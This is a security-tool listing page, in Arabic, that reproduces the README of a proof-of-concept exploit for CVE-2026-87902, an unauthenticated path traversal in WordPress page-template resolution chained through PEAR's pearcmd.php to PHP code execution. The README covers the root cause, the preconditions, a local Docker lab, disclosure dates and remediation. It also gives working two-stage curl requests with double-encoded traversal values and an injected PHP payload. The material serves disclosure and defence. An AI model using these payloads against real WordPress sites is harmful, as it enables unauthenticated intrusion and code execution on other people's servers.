Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-87902-poc — PoC لـ CVE-2026-87902 — اجتياز المسار بدون مصادقة في حل قوالب صفحات WordPress (تضمين PHP محلي، RCE شرطي) مع مختبر ثغرة مثبّت | Kitploit
أدوات/GitHubGitHub/ressl/cve-2026-87902-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالمحاكاة الافتراضية للأمانأمن الويباختبار الاختراقمختبرات وتدريب عملي
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC لـ CVE-2026-87902 — اجتياز المسار بدون مصادقة في حل قوالب صفحات WordPress (تضمين PHP محلي، RCE شرطي) مع مختبر ثغرة مثبّت

عرض المستودع
317منذ يوم واحدلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902 — نواة ووردبريس: اجتياز مسار غير مُصادَق عليه في حل قوالب الصفحات

تضمين ملف PHP محلي غير مُصادَق عليه في نواة ووردبريس عبر قيمة pagename مزدوجة الترميز — وتحت شروط نشر محددة، تنفيذ كود PHP بصلاحيات حساب خادم الويب.

CVECVE-2026-87902
إشعار المورّدGHSA-7hp8-65ch-5whp
التحليل التفصيليCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
المتأثرنواة ووردبريس 4.7.0 – 7.1.1 (كل الفروع، وفق نطاقات كل فرع في الإشعار)؛ أُعيد إنتاجه ديناميكيًا على 7.0.2
المُصلَح7.1.2 (فرع 7.1)، 7.0.6 (فرع 7.0) ونسخة مُرجَعة لكل فرع حتى 4.7.37 (وفق الإشعار)
نقاط الضعفCWE-98 (تحكم غير سليم في اسم الملف عند التضمين)، CWE-22 / CWE-23 (اجتياز المسار)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 مرتفع
CVSS v4.0 (تكميلي)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 حرج
المصادقةلا شيء — لا حساب، ولا كوكي، ولا nonce، ولا جلسة، ولا إضافة، ولا طلب خارجي
تفاعل المستخدملا شيء
المؤلفRobert Ressl — ressl.ch
التحقق من PoC2026-09-22 مقابل المختبر في هذا المستودع — انظر النتائج المُتحقَّق منها

الملخص

يحل ووردبريس قالب صفحة عبر سلسلة لا تُثبت أبدًا أن الملف المختار يبقى داخل جذر القالب:

  1. pagename و page_id متغيران عامّان للاستعلام يقبلهما WP::parse_request() من جسم POST مجهول الهوية.
  2. اجتياز مزدوج الترميز في pagename ينجو من التعقيم المبكر للاستعلام كبايتات %xx مُهرَّبة (wp_basename() لا يستطيع رؤية %2f كفاصل، وsanitize_title_with_dashes() يحتفظ عمدًا بالبايتات الصالحة).
  3. ثم يختار page_id صالح صفحة منشورة حقيقية، بينما يبقى pagename الخبيث في كائن الاستعلام.
  4. لاحقًا يستدعي get_page_template() الدالة urldecode() على تلك القيمة ويضيف مرشحًا مثل page-templates/../../../../../../../usr/local/lib/php/pearcmd.php إلى تسلسل القوالب.
  5. locate_template() ومُحمِّل القالب النهائي يتحققان فقط من الوجود وقابلية القراءة ولاحقة .php/.html — وليس أبدًا من أن المسار القانوني لا يزال داخل جذر قالب مسموح — ثم يقومان بـ include له.

هذا بدائي تضمين ملف محلي عن بُعد غير مُصادَق عليه في نواة ووردبريس. على بيئة التشغيل الرسمية المُختبرة (wordpress:php8.3-apache، التي تتضمن PEAR ولا تُحمِّل أي php.ini، لذا يكون register_argc_argv بقيمة On)، رُبط التضمين عبر pearcmd.php الخاص بـ PEAR: طلب مجهول أول يجعل config-create يكتب PHP يتحكم فيه المهاجم في /tmp، وطلب مجهول ثانٍ يضمّن ذلك الملف وينفذه بصلاحيات www-data.

غياب احتواء المسار في النواة هو الثغرة. PEAR ليس سوى مسار واحد يعتمد على البيئة للانتقال من التضمين إلى تنفيذ الكود — فهو ليس تبعية لووردبريس وليس موجودًا أو قابلًا للاستخدام في كل عملية نشر.

السبب الجذري

مواقع المصدر المُتحقَّق منها (ووردبريس 7.0.2):

#الموقعالدور
1wp-includes/class-wp.php:18,322-330pagename و page_id متغيران عامّان للاستعلام ويُقرآن من $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f ليس فاصلًا بالنسبة لـ wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() يحتفظ ببايتات %xx الصالحة بدلًا من إزالتها
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — يصبح الاجتياز فعّالًا بعد التعقيم
5wp-includes/template.php:722-736locate_template() يدمج المرشح أسفل كل جذر قالب ويستدعي فقط file_exists()
6wp-includes/template-loader.php:116-132realpath() يُطبِّع المسار، ثم يُنفَّذ include دون أي تحقق قانوني من احتواء الجذر
7wp-includes/canonical.php:42-47redirect_canonical() يعود مبكرًا للطلبات غير GET/HEAD، لذا لا يُعاد توجيه POST بعيدًا

الشروط المسبقة

يحتاج بدائي التضمين المستقل إلى:

#الشرط المسبقالسبب
1صفحة منشورة يمكن الوصول إليها مجهولًا ومحددة بـ page_id رقمييجب أن يُعيد الاستعلام الصفحة بعد فشل البحث عن اسم المسار
2عدم وجود قالب صفحة مخصص قابل للحل مسبقًاالقالب المعيّن الصالح يُرتَّب قبل المرشح الخبيث
3دليل من المستوى الأعلى في القالب النشط (الفرعي أو الأب) يبدأ اسمه بـ page-، مثل page-templates/يضيف ووردبريس البادئة الثابتة page-، لذا لا يمكن أن يبدأ اجتياز .. من الموضع 0؛ يجب فقط أن يكون الدليل موجودًا وقابلًا للعبور — ولا يجب أن يكون قابلًا للكتابة
4ملف .php محلي محدد موجود وقابل للقراءة من مستخدم PHPيتحقق المُحمِّل من is_file()/is_readable() ويشترط لاحقة .php
5عدم وجود حصر لنظام الملفات يحجب ذلك الملفيمكن لسياسة open_basedir أو MAC أن تمنع التضمين

تحتاج مرحلة PEAR المُوضَّحة إضافةً إلى ذلك إلى pearcmd.php قابل للقراءة (مع تبعياته)، وregister_argc_argv=On لواجهة SAPI الخاصة بالويب، ودليل إخراج قابل للكتابة. ملفات php.ini في الإنتاج تضبط register_argc_argv=Off؛ الصورة المُختبرة لا تُحمِّل أي php.ini، لذا انطبق الافتراضي المُصرَّف (On). هذا حدّ مهم على انتشار سلسلة تنفيذ الكود المُوضَّحة.

قوالب Twenty Twenty-Three/Four/Five المُضمَّنة لا تُوفِّر أي دليل page-* من المستوى الأعلى، لذا يحتاج المختبر الافتراضي إلى التجهيز الموصوف أدناه. يمكن للقوالب المخصصة استخدام تخطيط page-templates/ بشكل مشروع (توثيق ووردبريس).

يسجّل الإشعار أين تحدث هذه الشروط في البرمجيات المُوزَّعة: شرط القالب مُتحقَّق في قالبَي Twenty Twelve و Twenty Fourteen القديمين وفي قوالب طرف ثالث مثل Neve و Hestia و Sydney، بينما ينطبق انتقال PEAR على صورة PHP Docker الرسمية وعلى إعدادات cPanel الافتراضية التي تشغّل PHP أقدم من 8.5. (يُوفِّر كل من Twenty Twelve و Twenty Fourteen دليل page-templates/ من المستوى الأعلى؛ أما العبارات المتبقية فهي من الإشعار.) لا يقيس هذا المستودع مدى تكرار انطباق السلسلة الكاملة.

البدء السريع

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

يحتاج cve-2026-87902.py إلى Python 3.6+ (المكتبة القياسية فقط) ويصل إلى المختبر على http://127.0.0.1:8091 افتراضيًا. المخرجات المتوقعة:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

رمز الخروج هو 0 عند النجاح و 1 بخلاف ذلك، لذا يعمل PoC أيضًا كفحص انحدار/كشف.

الإزالة: docker compose down -v.

النتائج المُتحقَّق منها

شُغِّل في 2026-09-22 مقابل هذا المختبر (Docker 29.4، OrbStack، Apple silicon):

الفحصالنتيجة
المرحلة 1HTTP 200؛ كُتِب /tmp/wp-pear-rce-flag.php بصلاحيات www-data:www-data، الوضع 0644، 1219 بايت
SHA-256 للحمولة460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — مطابق للتجزئة المسجلة في التقرير الأصلي
المرحلة 2HTTP 200؛ طبع PHP المُحقَن أثر الإثبات ذا الوضع 0444
تكرارات العلامة12 (يُسلسِل PEAR قيمة الجذر المتحكَّم بها في 12 مدخل إعداد)
بيانات الاعتماد المستخدمةلا شيء — لا ترويسة Cookie أو Authorization في أي طلب
الضبط السلبيإزالة page-templates/ → المرحلة 2 تُعيد الصفحة العادية، لا علامة، رمز الخروج 1

أثر الإثبات هو /flag، مملوك لـ root وقابل للقراءة عالميًا (root:root، الوضع 0444) داخل الحاوية. يُثبت تنفيذ PHP والوصول إلى الملفات بصلاحيات حساب خادم الويب؛ وهو ليس هدفًا لتصعيد الصلاحيات.

كيف تعمل السلسلة

طلبا POST مجهولان. قيم توجيه ووردبريس تنتقل في جسم النموذج، ومعطيات PEAR في سلسلة الاستعلام الخام (يقسم PHP سلسلة الاستعلام الخام على + الحرفي إلى argv ولا يفك ترميز URL للمعطيات الفردية):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

المرحلة 1 — تضمين pearcmd.php وكتابة الحمولة:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

المرحلة 2 — تضمين الملف المُنشَأ وتشغيل PHP الخاص به:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

تفاصيل مهمة:

  • طبقتا ترميز. يُفك ترميز الجسم مرة واحدة بواسطة PHP إلى templates%2f%2e%2e%2f...؛ يحتفظ المُعقِّم بتلك البايتات، وفقط urldecode() المتأخر في get_page_template() يحوّلها إلى / و ...
  • بادئة page-. يضيف ووردبريس page- إلى القيمة، لذا يقابل دليل التجهيز page-templates/ المقطع البادئ templates.
  • لاحقة .php المفروضة. المرشح هو page-<decoded>.php، ولهذا يُعطى الهدف دون لاحقة (.../pearcmd، /tmp/wp-pear-rce-flag).
  • POST وليس GET. يتخطى redirect_canonical() الطلبات غير GET/HEAD، ويسمح جسم النموذج لسلسلة الاستعلام بحمل معطيات PEAR فقط.
  • حمولة خالية من علامات الاقتباس. يعمل wp_magic_quotes() أيضًا على $_SERVER، لذا يُهرَّب argv المبني من الخادم ويُطبِّع PEAR الخطوط المائلة العكسية لاحقًا. تستخدم الحمولة المُتحقَّق منها chr() ولا تحتوي على أي محرف اقتباس. (وهي تُختصر إلى <?=file_get_contents('/flag')?>.)
  • مسار جذر config-create. يرفض PEAR جذرًا نسبيًا (Root directory must be an absolute path beginning with "/")، لذا تُحقَن الحمولة كمسار الجذر نفسه.
  • العمق. يمشي cve-2026-87902.py عبر مقاطع .. حتى يصل الاجتياز إلى الهدف (7 لتخطيط هذا المختبر، و--depth لتثبيته).

المختبر

ينفذ lab/up.sh ثلاث خطوات وهو آمن لإعادة التشغيل:

  1. docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache مثبَّت بالإضافة إلى mysql:8.4، المنفذ 127.0.0.1:8091 (loopback فقط).
  2. يشغّل مُثبِّت ووردبريس (admin / adminadmin) إذا لم يكن الموقع مُثبَّتًا بعد.
  3. يُنشئ التجهيز داخل القالب النشط ويطبعه: wp-content/themes/twentytwentyfive/page-templates/، root:root، الوضع 0755، فارغ.

تضيف صورة المختبر register_argc_argv=On صراحةً (lab/Dockerfile) بدلًا من الاعتماد على الافتراضي المُصرَّف، وتُضمِّن /flag (root:root، الوضع 0444، المحتوى CVE-2026-87902-POC-OK).

المكوّنالقيمة
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33، وحدة Apache
PEAR1.10.18 في /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
القالبTwenty Twenty-Five + تجهيز page-templates/ فارغ مملوك لـ root
الصفحة الهدفSample Page منشورة، المعرّف 2، القالب الافتراضي
أثر الإثبات/flag، root:root، الوضع 0444

وسم wordpress:php8.3-apache المتدحرج غير قابل للاستخدام في هذا المختبر: الثغرة مُصلَحة في 7.1.2 ووسم غير مثبَّت يحوّل المختبر بصمت إلى نسخة مُرقَّعة.

الضوابط السلبية والقيود

ضوابط مُتحقَّق منها أو موثقة:

  • لا دليل page-* من المستوى الأعلى في القالب → لا يمكن إزالة البادئة الثابتة ولا يبدأ الاجتياز أبدًا (مُتحقَّق منه: إزالة التجهيز → لا علامة).
  • register_argc_argv=Off → لا كاتب PEAR، لكن بدائي التضمين يبقى.
  • غياب PEAR أو تبعياته → لا كاتب.
  • عدد خاطئ من مقاطع .. → لا يُبلَغ الهدف (مُتحقَّق منه: الأعماق 1-6 و 8-12 لا تُنتج علامة في المختبر).
  • قالب صفحة مخصص معيّن للصفحة → يُرتَّب قبل المرشح الخبيث ويفوز.
  • ملف بلا لاحقة (مثل /flag) لا يمكن قراءته مباشرةً — يُضاف .php إلى المرشح.
  • WAF/CDN/وكيل عكسي يرفض بايتات <، >، = الخام في هدف الطلب يكسر قناة معطيات PEAR (خاص بالنشر).
  • حصر open_basedir/MAC أو دليل إخراج غير قابل للكتابة يكسر السلسلة؛ noexec على /tmp لا يكسرها (يقرأ PHP الملف ويفسّره).

يُعيد هذا PoC إنتاج إعداد واحد مُتحقَّق منه. لا يدّعي أن كل تثبيت ووردبريس قابل للاستغلال، ولا يقيس الانتشار.

المعالجة

  • الترقية إلى ووردبريس 7.1.2 أو أحدث (أو إلى النسخة المُرجَعة لفرعك).
  • الدفاع في العمق لمعالجة القوالب: بعد فك الترميز، ارفض المرشحات الاجتيازية والمطلقة (مثل validate_file())، وقبل تضمين قالب مُحدَّد، قارن realpath() للمرشح وجذر القالب مع فاصل دليل لاحق.
  • تخفيفات المشغّل: اضبط register_argc_argv=Off لواجهات SAPI الخاصة بالويب، وأزل نقاط دخول PEAR غير المستخدمة القابلة للقراءة عبر الويب من صور الإنتاج، ودقّق القوالب الفرعية والأب بحثًا عن أدلة page-* من المستوى الأعلى، وقيّد صلاحية الكتابة لحساب PHP.

الملفات

المسارالغرض
cve-2026-87902.pyالاستغلال: كشف الصفحة، المرحلتان، معالجة العمق، التحقق من العلامة
lab/up.shيضع المختبر في الحالة الدقيقة التي يتوقعها الاستغلال (idempotent)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4، منفذ loopback فقط
lab/Dockerfileيثبّت الإصدار المعرّض، يضبط register_argc_argv=On، يُضمِّن /flag
lab/flagمحتوى أثر الإثبات

الجدول الزمني للإفصاح

التاريخالحدث
2026-07-20أُبلِغ عنه بشكل خاص عبر برنامج WordPress HackerOne
2026-07-21تأكيد الاستلام
2026-09-15إبلاغ بأن إصلاحًا مُخطَّط لإصدار قادم؛ طُلبت تفاصيل الإسناد
2026-09-22إصدار WordPress 7.1.2 مع الإصلاح؛ نشر الإشعار GHSA-7hp8-65ch-5whp

قُبِل التقرير كاكتشاف أمني صالح بعد مراجعة تصنيفه الأولي؛ ولا تؤرّخ المراسلات ذلك القبول.

إخلاء المسؤولية

نُشِر هذا المستودع لأغراض دفاعية وبحثية. استخدمه فقط ضد الأنظمة التي تملكها أو المصرَّح لك صراحةً باختبارها. المختبر مرتبط بـ 127.0.0.1 ويجب عدم تعريضه لشبكات غير موثوقة.

الترخيص

MIT — انظر LICENSE. بيانات الاقتباس موجودة في CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

أُعِدَّ تقرير الثغرة وهذا PoC بمساعدة الذكاء الاصطناعي للتنظيم ومراجعة الاتساق؛ والباحث مسؤول عن الادعاءات التقنية.

تنزيل الأداة